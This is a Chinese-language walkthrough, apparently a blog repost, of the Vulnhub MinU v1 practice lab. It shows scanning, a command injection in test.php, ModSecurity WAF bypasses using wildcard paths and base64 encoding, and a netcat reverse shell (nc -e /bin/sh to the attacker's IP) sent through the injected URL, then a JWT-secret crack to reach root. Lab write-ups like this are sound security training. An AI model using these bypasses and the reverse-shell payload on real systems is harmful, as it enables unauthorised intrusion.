渗透靶场——Vulnhub:MinUv1

前言

今天正常看到了一个Vulnhub系列靶场,这个靶场主要是含有waf防火墙这个知识点,现在给大家简单的说一下

1、主机存活探测

arp-scan -l

在这里插入图片描述发现存活主机ip地址为192.168.1.7

2、端口扫描

nmap -A -p- -T4 192.168.1.7

在这里插入图片描述
在这里就发现开放了80端口,也显示了Apache的版本为2.4.27,其他并没有什么有用的信息

3、web渗透

直接访问80端口

http://192.168.1.7/

在这里插入图片描述发现直接是apache的一个初始的服务页面,也没有什么有用的信息,这个靶场就一个80端口开放了,那就接下来继续用目录爆破看看

4、目录爆破

gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://192.168.1.7 -x php,html,txt

在这里插入图片描述好家伙,这个用不了,那就试试别的
在这里插入图片描述
dirbuster也不行,这真得是武器库得强大点,要不然容易gg直接,直接在上最原始的dirb看看行不行

dirb http://192.168.1.7/ -X .php .html

在这里插入图片描述在这里插入图片描述
不加参数也发现都是403,是不是有防火墙啊,在观察看看

发现就一个test.php,就有点迷不可能啥都是一个吧,直接访问
在这里插入图片描述提示:Read last visitor data 读取上次访问者数据,那就直接点击一下看看
在这里插入图片描述看到这个就能第一时间想到,一般情况下 ?file= 存在文件包含,命令注入~~~~
那就我们自己先构造一下url读取一下看看

http://192.168.1.7/test.php?file=…/…/…/…/…/…/…/etc/passwd

在这里插入图片描述发现是不可以的,那就在试试命令注入

http://192.168.1.7/test.php?file=last.html|pwd

在这里插入图片描述发现是可以的,那就在看看别的命令

http://192.168.1.7/test.php?file=last.html|ls

在这里插入图片描述发现又是不可以了,这个时间就感觉是不对劲了,是不是有waf拦截下来了,想了想一开始看密码文件都是不可以,感觉应该是存在waf了

5、绕过Waf

(1)识别waf

说道识别waf,那就第一时间想到kali中自带的wafw00f

WAFW00F是一个Web应用防火墙(WAF)指纹识别的工具。

WAFW00F工作原理:

1、首先通过发送一个正常http请求,然后观察其返回有没有一些特征字符

2、如果不成功,它将发送大量(潜在的恶意) HTTP 请求,并使用简单的逻辑推断出它是哪个WAF

3、如果这也不成功,它将分析以前返回的响应,并使用另一个简单的算法来猜测 WAF 或安全解决方案是否正在积极响应我们的攻击.

wafw00f http://192.168.1.7

在这里插入图片描述发现确实是存在防火墙,但是吧我得这个版本扫不出来他用的是啥防火墙,就很迷,,,这个靶场给我整抑郁了,,,,,,,

这个最新版本不行,那就试试以前的老版本呢
在这里插入图片描述
这回就行了,发现了防火墙的名字,是一款叫 modsecurity 的waf,是一个开源waf

当然了WAF可以安装在服务器,可以安装在某个站的目录下,也可以安装在PHP文件内

墙!!!
墙!!!!

给大家简单的介绍一下

ModSecurity

ModSecurity是一个开源的跨平台Web应用程序防火墙(WAF)引擎,用于Apache,IIS和Nginx,由Trustwave的SpiderLabs开发。作为WAF产品,ModSecurity专门关注HTTP流量,当发出HTTP请求时,ModSecurity检查请求的所有部分,如果请求是恶意的,它会被阻止和记录。

功能:

SQL Injection (SQLi):阻止SQL注入

Cross Site Scripting (XSS):阻止跨站脚本攻击

Local File Inclusion (LFI):阻止利用本地文件包含漏洞进行攻击

Remote File Inclusione(RFI):阻止利用远程文件包含漏洞进行攻击

Remote Code Execution (RCE):阻止利用远程命令执行漏洞进行攻击

PHP Code Injectiod:阻止PHP代码注入

HTTP Protocol Violations:阻止违反HTTP协议的恶意访问

HTTPoxy:阻止利用远程代理感染漏洞进行攻击

Shellshock:阻止利用Shellshock漏洞进行攻击

Session Fixation:阻止利用Session会话ID不变的漏洞进行攻击

Scanner Detection:阻止黑客扫描网站

Metadata/Error Leakages:阻止源代码/错误信息泄露

Project Honey Pot Blacklist:蜜罐项目黑名单

GeoIP Country Blocking:根据判断IP地址归属地来进行IP阻断

(2)模糊测试Fuzz

FUZZ可以应用在很多场景中,此处我们使用wfuzz工具

wfuzz -c -z file,/usr/share/wfuzz/wordlist/Injections/All_attack.txt http://192.168.1.7/test.php?file=FUZZ

-c 输出颜色 -z payload

在这里插入图片描述发现有好多403还有202的,404也有几个,虽然不多,把403和404的过滤掉,然后重新执行

wfuzz -c -z file,/usr/share/wfuzz/wordlist/Injections/All_attack.txt --hc 404,403 http://192.168.1.7/test.php?file=FUZZ

在这里插入图片描述
这回这以上的都是能够绕过waf的了,那接下来就开始进行绕过讲解

(3)绕过方式1

dir绕过
在这里插入图片描述

http://192.168.1.7/test.php?file=|dir

在这里插入图片描述

(4)绕过方式2

?x=| 绕过waf

http://192.168.1.7/test.php?file=last.html?x=|pwd

在这里插入图片描述
以上两种方式都是用迷糊测试出来的参数进行验证,都只能执行部分命令,如果命令后面需要跟参数,那在这里试试通配符看看行不行

http://192.168.1.7/test.php?file=|/b?n/c?t%20/e?c/?a??wd

在这里插入图片描述所以我们只需要将敏感词部分用问号代替就可以绕过waf了

(5)绕过方式3

& --绕waf(URL编码混淆绕过WAF)

&的url编码为%26 空格的url编码为%20

&会过滤掉前面的命令,直接执行后面的命令

这里混淆的话,linux一般都会默认安装base64,所以使用base64加密混淆

但是base64加密完会包含=,=被waf加入黑名单了,等号和你加密时的空格有关,可以在末尾添加空格,加密后等号就会去掉,如图下中的尝试
在这里插入图片描述

如果是直接 nc-e/bin/sh ip port这种方式的话会被waf拦截,所以得想另外一种可执行命令的方法
后来就想到Linux管道符的特性

在Linux中,管道符左边的命令输出会作为管道符右边的命令的输入然后去执行,若存在多个则以此类推

举个例子
在这里插入图片描述
所以这里用base64的方式来传入执行的命令,然后在解码执行

明文:

/bin/echo “nc -e /bin/sh 192.168.1.8 9876” | /usr/bin/base64 | /bin/sh

在这里插入图片描述

base64编码后及过waf操作后:

http://192.168.1.7/test.php?file=%26/b?n/ec?o%20bmMgLWUgL2Jpbi9zaCAxOTIuMTY4LjEuOCA5ODc2ICAK|/u?r/b?n/b?se64%20-d|/bin/?h

6、开始提权

编辑好的url直接输入,同时kali里面开始监听
在这里插入图片描述
发现监听成功,转为交互界面

python3 -c ‘import pty; pty.spawn(“/bin/bash”)’

在这里插入图片描述
我们在 /home/bob/目录下发现了一个隐藏文件 .pw
在这里插入图片描述不知道这是啥,直接百度看看
在这里插入图片描述上官网(jwt.io)看介绍,发现这玩意是有一个私钥加密来的,那就直接去github上面看看
在这里插入图片描述按照要求操作即可
在这里插入图片描述得到了用户名的密码
得到密码为 mlnV1,然后就可以直接切换到root用户了
在这里插入图片描述最终拿到flag

猜你喜欢

转载自blog.csdn.net/tlovejr/article/details/124095070